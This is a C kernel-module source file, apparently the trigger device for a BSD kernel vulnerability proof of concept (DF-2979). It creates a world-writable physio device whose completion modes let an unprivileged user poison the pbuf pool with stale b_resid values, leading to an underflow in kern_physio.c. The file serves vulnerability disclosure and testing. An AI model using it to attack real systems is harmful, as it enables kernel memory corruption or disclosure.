DF-2979 / dfp.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | /* * dfp.c -- DF-2979 PoC trigger device. * * A minimal physio-backed char device. d_read/d_write are the STOCK * physread/physwrite, so every I/O flows through the unmodified * sys/kern/kern_physio.c. The strategy routine can complete transfers * in three ways that all mirror REAL in-tree driver behavior: * * DFP_MODE_NORMAL (0) * Fill the pbuf bounce buffer with a recognizable pattern, * set b_resid = 0, biodone. (Canonical success: virtio_blk.c:918-919, * scsi_da.c:1745, md.c:334.) * * DFP_MODE_ERR_NORESID (1) * Complete with B_ERROR + EIO and DO NOT TOUCH b_resid. * This is exactly the in-tree error completion of: * - virtio_blk.c:920-927 (the default virtio-blk driver, guest root disk) * - xdisk.c:940-950, 1030-1041, 1250-1257 (timeout / lost-link) * i.e. no lying driver is required: kern_physio.c:112 then consumes a * b_resid value left over from the pbuf's PREVIOUS life in the shared * pbuf_mem pool (physio itself, cam_periph.c:743 bounce buffers, or the * disklabel/mbr/gpt scanners). * * DFP_MODE_EOF (2) * b_resid = b_bcount, no error, biodone -- the canonical EOF completion * of dscheck (subr_diskslice.c:266-270 / bounds_check_with_mediasize * subr_disk.c:1467-1470). This is how a pbuf legitimately leaves the * pool carrying a LARGE b_resid (pool poisoning for the underflow test). * * Build: see Makefile. Load: kldload ./dfp.ko (root; PoC setup only). * The trigger itself runs as an unprivileged user against /dev/dfp (0666), * standing in for any operator-readable physio device (raw disks, tapes, * cdrom, xdisk). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/bus.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/buf.h> #include <sys/uio.h> #include <sys/ioccom.h> static d_open_t dfp_open; static d_close_t dfp_close; static d_ioctl_t dfp_ioctl; static d_strategy_t dfp_strategy; #define DFP_SET_NORMAL _IO('D', 1) #define DFP_SET_ERRNR _IO('D', 2) #define DFP_SET_EOF _IO('D', 3) enum { DFP_MODE_NORMAL = 0, DFP_MODE_ERRNR = 1, DFP_MODE_EOF = 2 }; static volatile int dfp_mode = DFP_MODE_NORMAL; static volatile u_int dfp_seq = 0; static cdev_t dfp_dev; static struct dev_ops dfp_ops = { { "dfp", 0, D_DISK }, .d_open = dfp_open, .d_close = dfp_close, .d_read = physread, /* stock physio path */ .d_write = physwrite, /* stock physio path */ .d_ioctl = dfp_ioctl, .d_strategy = dfp_strategy, }; static int dfp_open(struct dev_open_args *ap) { return (0); } static int dfp_close(struct dev_close_args *ap) { return (0); } static int dfp_ioctl(struct dev_ioctl_args *ap) { switch (ap->a_cmd) { case DFP_SET_NORMAL: dfp_mode = DFP_MODE_NORMAL; return (0); case DFP_SET_ERRNR: dfp_mode = DFP_MODE_ERRNR; return (0); case DFP_SET_EOF: dfp_mode = DFP_MODE_EOF; return (0); } return (ENOTTY); } static int dfp_strategy(struct dev_strategy_args *ap) { struct bio *bio = ap->a_bio; struct buf *bp = bio->bio_buf; u_int seq; int i; switch (dfp_mode) { case DFP_MODE_NORMAL: seq = atomic_fetchadd_int(&dfp_seq, 1); for (i = 0; i < bp->b_bcount; i++) { u_int v = (0xDF000000u ^ (seq << 24) ^ (u_int)(i & 0xFFFFFF)); bp->b_data[i] = (u_char)(v ^ (v >> 8) ^ (v >> 16) ^ (v >> 24)); } bp->b_resid = 0; biodone(bio); return (0); case DFP_MODE_ERRNR: /* virtio_blk.c:920-927 semantics: error, b_resid untouched */ bp->b_error = EIO; bp->b_flags |= B_ERROR; biodone(bio); return (0); case DFP_MODE_EOF: /* dscheck EOF semantics (subr_diskslice.c:266-270) */ bp->b_resid = bp->b_bcount; biodone(bio); return (0); } bp->b_error = EIO; bp->b_flags |= B_ERROR; biodone(bio); return (0); } static int dfp_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: dfp_dev = make_dev(&dfp_ops, 0, UID_ROOT, GID_WHEEL, 0666, "dfp"); kprintf("dfp: loaded (iosize_max=%d)\n", dfp_dev->si_iosize_max); return (0); case MOD_UNLOAD: destroy_dev(dfp_dev); dev_ops_remove_all(&dfp_ops); return (0); } return (0); } DEV_MODULE(dfp, dfp_modevent, NULL); |